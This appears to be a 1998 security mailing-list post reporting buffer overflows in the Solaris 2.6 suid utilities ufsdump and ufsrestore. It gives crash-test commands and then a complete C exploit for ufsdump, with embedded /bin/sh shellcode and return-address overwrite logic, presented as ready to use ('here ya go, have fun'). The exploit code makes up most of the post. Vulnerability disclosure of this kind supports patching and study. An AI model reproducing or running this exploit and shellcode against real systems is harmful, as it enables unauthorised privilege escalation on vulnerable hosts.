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Buffer overflows in Solaris 2.6 ufsdump and ufsrestore
From: smm () WPI EDU (Seth McGann)
Date: Thu, 23 Apr 1998 14:19:13 -0400


  While auditing some suid binaries on Solaris 2.6 x86 I came across some interresting bugs.  Firstly, 
/usr/lib/fs/ufs/ufsdump will segfault if passed a device name of sufficent length.  Straight forward overflow.  When 
the shellcode executes /bin/id, it says the egid=tty.  I guess its nice to be tty, even if we can't be root :(
The second problem, /usr/lib/fs/ufs/ufsrestore also segfaults when passed a device name of sufficent length.  However, 
on inspection with  gdb it is evident that once the EIP is overwritten, execution jumps to 0x0.  I didn't look at it 
too close, maybe someone out there can exploit it (or at least enlighten me as to the odd behavior)?

Thanks to Jesse Schachter for letting me use his box as my test dummy.
Oh yeah, any bugs are ScriptKiddie counter-measures.

to test the vulnerability:
/usr/lib/fs/ufs/ufsdump 1 `perl -e 'print "a" x 2000'`
/usr/lib/fs/ufs/ufsrestore xf `perl -e 'print "a" x 2000'`

Here's the exploit for ufsdump:

<---

/* ufsdump.c
* Description:  Overflows a buffer to give you EGID=tty.
* At least that's what id reports.
* The running shell thinks its still the user.  Maybe I'm
* doing something wrong?  At any
* rate,  here ya go, have fun.
*
*  smm () wpi edu
*  Thanks to: Jesse Schachter for the box, and
*  Unknown parties for the shellcode. (probably Aleph1).
*/

#include <stdio.h>
static inline getesp() {
  __asm__(" movl %esp,%eax ");
}
main(int argc, char **argv) {
  int i,j,buffer,offset;
  long unsigned esp;
  char unsigned buf[4096];
  unsigned char
  shellcode[]=
      "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3"
        "\x33\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05"
        "\x07\x88\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff"
        "\xff\x0f\x0f\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46"
        "\x0c\x50\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff"
        "\x83\xc4\x0c\x6a\x01\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4"
        "\xff\xff\xff/bin/sh";
  buffer=895;
  offset=3500;
  if (argc>1)buffer=atoi(argv[1]);
  if (argc>2)offset=atoi(argv[2]);
  for (i=0;i<buffer;i++)
     buf[i]=0x41;  /* inc ecx */
  j=0;
  for (i=buffer;i<buffer+strlen(shellcode);i++)
      buf[i]=shellcode[j++];
  esp=getesp()+offset;
  buf[i]=esp & 0xFF;
  buf[i+1]=(esp >> 8) & 0xFF;
  buf[i+2]=(esp >> 16) & 0xFF;
  buf[i+3]=(esp >> 24) & 0xFF;
  buf[i+4]=esp & 0xFF;
  buf[i+5]=(esp >> 8) & 0xFF;
  buf[i+6]=(esp >> 16) & 0xFF;
  buf[i+7]=(esp >> 24) & 0xFF;
  printf("Offset: 0x%x\n\n",esp);
  execl("/usr/lib/fs/ufs/ufsdump","ufsdump","1",buf,NULL);
}



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